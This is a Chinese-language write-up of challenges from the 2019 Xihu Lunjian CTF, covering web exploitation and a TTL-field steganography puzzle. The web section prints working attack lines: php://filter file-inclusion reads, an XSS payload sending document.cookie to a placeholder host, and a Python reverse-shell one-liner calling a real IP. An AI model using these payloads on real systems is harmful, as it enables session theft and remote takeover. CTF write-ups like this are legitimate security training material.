2019 西湖论剑 WriteUp

发布于 2019-04-09  370 次阅读


Web

babyt3

登录看到:

尝试文件包含:

file=php://filter/read=convert.base64-encode/resource=index.php

得到源码:




读取dir.php的源码:

file=php://filter/read=convert.base64-encode/resource=dir.php

得到源码:

构造去查看根目录下:

dir.php?dir=/

然后去读取ffffflag_1s_Her4文件:

/?file=php://filter/read=convert.base64-encode/resource=/ffffflag_1s_Her4

得到flag

Breakout

进去看到留言板

使用下面payload可以弹到自己的cookie

javascript:window.location.href='http://xxxx:8000/?a='+document.cookie

然后去report页面提交留言板地址:http://ctf1.linkedbyx.com:10441/main.php

过验证码的脚本:

import hashlib


def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()


for i in range(1000000000):
    if md5(str(i))[0:6] == '7751c4':
        print(i)
        break

然后自己远程服务器上:

$ nc -lvvp 8000

可以打到管理员的cookie

然后去执行命令。

远程getshellpayload如下:

command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.25.89.91",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1


反弹shell成功后,flag.txt在根目录下。

猜猜flag是什么

首先要去拿到code
通过扫描,可以看到根目录下有.DS_Store泄露:http://ctf1.linkedbyx.com:10442/.DS_Store

找到/e10adc3949ba59abbe56e057f20f883e/目录后访问,可以看到又有.git泄露。
githack获得一个压缩包BackupForMySite.zip
用明文攻击解开压缩包,得到里面的code
之后去主页面提交:

/?code=你找到的code

给了一个随机数。
使用php_mt_seed

$ time ./php_mt_seed  你的随机数

得到数字依次访问:

/flag/得到的数字.txt

就能得到flag

Misc

奇怪的TTL字段

发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中:

fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i[4:]))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
# print(s)

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255

写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息:

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

应该就是AutoKey那个加密了,找了个在线网站解密

https://www.wishingstarmoye.com/ctf/autokey

得到flag。

转载自 https://www.jianshu.com/p/13025b096f23 已获得作者(Eumenides_62ac)授权转载